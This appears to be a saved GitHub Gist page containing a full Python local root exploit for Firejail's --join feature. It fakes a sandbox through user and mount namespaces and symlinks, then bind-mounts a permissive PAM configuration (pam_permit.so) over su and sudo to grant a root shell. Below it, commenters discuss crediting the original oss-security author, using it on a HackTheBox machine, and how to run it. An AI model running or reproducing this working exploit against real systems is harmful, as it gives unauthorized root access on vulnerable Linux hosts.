-
-
Save GugSaas/9fb3e59b3226e8073b3f8692859f8d25 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3 | |
import os | |
import shutil | |
import stat | |
import subprocess | |
import sys | |
import tempfile | |
import time | |
from pathlib import Path | |
# Print error message and exit with status 1 | |
def printe(*args, **kwargs): | |
kwargs['file'] = sys.stderr | |
print(*args, **kwargs) | |
sys.exit(1) | |
# Return a boolean whether the given file path fulfils the requirements for the | |
# exploit to succeed: | |
# - owned by uid 0 | |
# - size of 1 byte | |
# - the content is a single '1' ASCII character | |
def checkFile(f): | |
s = os.stat(f) | |
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode): | |
return False | |
with open(f) as fd: | |
ch = fd.read(2) | |
if len(ch) != 1 or ch != "1": | |
return False | |
return True | |
def mountTmpFS(loc): | |
subprocess.check_call("mount -t tmpfs none".split() + [loc]) | |
def bindMount(src, dst): | |
subprocess.check_call("mount --bind".split() + [src, dst]) | |
def checkSelfExecutable(): | |
s = os.stat(__file__) | |
if (s.st_mode & stat.S_IXUSR) == 0: | |
printe(f"{__file__} needs to have the execute bit set for the exploit to \ | |
work. Run `chmod +x {__file__}` and try again.") | |
# This creates a "helper" sandbox that serves the purpose of making available | |
# a proper "join" file for symlinking to as part of the exploit later on. | |
# | |
# Returns a tuple of (proc, join_file), where proc is the running subprocess | |
# (it needs to continue running until the exploit happened) and join_file is | |
# the path to the join file to use for the exploit. | |
def createHelperSandbox(): | |
# just run a long sleep command in an unsecured sandbox | |
proc = subprocess.Popen( | |
"firejail --noprofile -- sleep 10d".split(), | |
stderr=subprocess.PIPE) | |
# read out the child PID from the stderr output of firejail | |
while True: | |
line = proc.stderr.readline() | |
if not line: | |
raise Exception("helper sandbox creation failed") | |
# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output | |
line = line.decode('utf8').strip().lower() | |
if line.find("child pid") == -1: | |
continue | |
child_pid = line.split()[-1] | |
try: | |
child_pid = int(child_pid) | |
break | |
except Exception: | |
raise Exception("failed to determine child pid from helper sandbox") | |
# We need to find the child process of the child PID, this is the | |
# actual sleep process that has an accessible root filesystem in /proc | |
children = f"/proc/{child_pid}/task/{child_pid}/children" | |
# If we are too quick then the child does not exist yet, so sleep a bit | |
for _ in range(10): | |
with open(children) as cfd: | |
line = cfd.read().strip() | |
kids = line.split() | |
if not kids: | |
time.sleep(0.5) | |
continue | |
elif len(kids) != 1: | |
raise Exception(f"failed to determine sleep child PID from helper \ | |
sandbox: {kids}") | |
try: | |
sleep_pid = int(kids[0]) | |
break | |
except Exception: | |
raise Exception("failed to determine sleep child PID from helper \sandbox") | |
else: | |
raise Exception(f"sleep child process did not come into existence in {children}") | |
join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join" | |
if not os.path.exists(join_file): | |
raise Exception(f"join file from helper sandbox unexpectedly not found at \ | |
{join_file}") | |
return proc, join_file | |
# Re-executes the current script with unshared user and mount namespaces | |
def reexecUnshared(join_file): | |
if not checkFile(join_file): | |
printe(f"{join_file}: this file does not match the requirements (owner uid 0, \ | |
size 1 byte, content '1')") | |
os.environ["FIREJOIN_JOINFILE"] = join_file | |
os.environ["FIREJOIN_UNSHARED"] = "1" | |
unshare = shutil.which("unshare") | |
if not unshare: | |
printe("could not find 'unshare' program") | |
cmdline = "unshare -U -r -m".split() | |
cmdline += [__file__] | |
# Re-execute this script with unshared user and mount namespaces | |
subprocess.call(cmdline) | |
if "FIREJOIN_UNSHARED" not in os.environ: | |
# First stage of execution, we first need to fork off a helper sandbox and | |
# an exploit environment | |
checkSelfExecutable() | |
helper_proc, join_file = createHelperSandbox() | |
reexecUnshared(join_file) | |
helper_proc.kill() | |
helper_proc.wait() | |
sys.exit(0) | |
else: | |
# We are in the sandbox environment, the suitable join file has been | |
# forwarded from the first stage via the environment | |
join_file = os.environ["FIREJOIN_JOINFILE"] | |
# We will make /proc/1/ns/user point to this via a symlink | |
time_ns_src = "/proc/self/ns/time" | |
# Make the firejail state directory writeable, we need to place a symlink to | |
# the fake join state file there | |
mountTmpFS("/run/firejail") | |
# Mount a tmpfs over the proc state directory of the init process, to place a | |
# symlink to a fake "user" ns there that firejail thinks it is joining | |
try: | |
mountTmpFS("/proc/1") | |
except subprocess.CalledProcessError: | |
# This is a special case for Fedora Linux where SELinux rules prevent us | |
# from mounting a tmpfs over proc directories. | |
# We can still circumvent this by mounting a tmpfs over all of /proc, but | |
# we need to bind-mount a copy of our own time namespace first that we can | |
# symlink to. | |
with open("/tmp/time", 'w') as _: | |
pass | |
time_ns_src = "/tmp/time" | |
bindMount("/proc/self/ns/time", time_ns_src) | |
mountTmpFS("/proc") | |
FJ_MNT_ROOT = Path("/run/firejail/mnt") | |
# Create necessary intermediate directories | |
os.makedirs(FJ_MNT_ROOT) | |
os.makedirs("/proc/1/ns") | |
# Firejail expects to find the umask for the "container" here, else it fails | |
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd: | |
umask_fd.write("022") | |
# Create the symlink to the join file to pass Firejail's sanity check | |
os.symlink(join_file, FJ_MNT_ROOT / "join") | |
# Since we cannot join our own user namespace again fake a user namespace that | |
# is actually a symlink to our own time namespace. This works since Firejail | |
# calls setns() without the nstype parameter. | |
os.symlink(time_ns_src, "/proc/1/ns/user") | |
# The process joining our fake sandbox will still have normal user privileges, | |
# but it will be a member of the mount namespace under the control of *this* | |
# script while *still* being a member of the initial user namespace. | |
# 'no_new_privs' won't be set since Firejail takes over the settings of the | |
# target process. | |
# | |
# This means we can invoke setuid-root binaries as usual but they will operate | |
# in a mount namespace under our control. To exploit this we need to adjust | |
# file system content in a way that a setuid-root binary grants us full | |
# root privileges. 'su' and 'sudo' are the most typical candidates for it. | |
# | |
# The tools are hardened a bit these days and reject certain files if not owned | |
# by root e.g. /etc/sudoers. There are various directions that could be taken, | |
# this one works pretty well though: Simply replacing the PAM configuration | |
# with one that will always grant access. | |
with tempfile.NamedTemporaryFile('w') as tf: | |
tf.write("auth sufficient pam_permit.so\n") | |
tf.write("account sufficient pam_unix.so\n") | |
tf.write("session sufficient pam_unix.so\n") | |
# Be agnostic about the PAM config file location in /etc or /usr/etc | |
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"): | |
if not os.path.isdir(pamd): | |
continue | |
for service in ("su", "sudo"): | |
service = Path(pamd) / service | |
if not service.exists(): | |
continue | |
# Bind mount over new "helpful" PAM config over the original | |
bindMount(tf.name, service) | |
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \ | |
a shell where 'sudo su -' should grant you a root shell.") | |
while True: | |
line = sys.stdin.readline() | |
if not line: | |
break |
https://www.openwall.com/lists/oss-security/2022/06/08/10/1 you ought to credit the creator.
My intention was never to take credit on the author, I just put the exploit on my github to save it, such that the author's comments still remain in the code. But with all the repercussions of the latest hackthebox machine (sandworm), it is necessary to give him the credits, thanks for the warning buddy ;)
https://www.openwall.com/lists/oss-security/2022/06/08/10/1
i dont understand how this is supposed to work..
you run it and it says "You can now run 'firejail --join=63761' in another terminal to obtain shell where 'sudo su -' should grant you a root shell. I've tried obtaining a second terminal shell to do this, will not work. after running the firejoin.py exploit and receiving this message, i CTRL+c out of it, to then run what it tells me on the same terminal - no luck...
any tips?
i dont understand how this is supposed to work..
you run it and it says "You can now run 'firejail --join=63761' in another terminal to obtain shell where 'sudo su -' should grant you a root shell. I've tried obtaining a second terminal shell to do this, will not work. after running the firejoin.py exploit and receiving this message, i CTRL+c out of it, to then run what it tells me on the same terminal - no luck...
any tips?
The idea of the exploit is exactly this, in a terminal you can start the service and in another terminal you must execute the command: "su" or "sudo su -" or "su -"
Remembering that sometimes (not always) it is necessary to run the command firejail --join=PID
https://www.openwall.com/lists/oss-security/2022/06/08/10/1 you ought to credit the creator.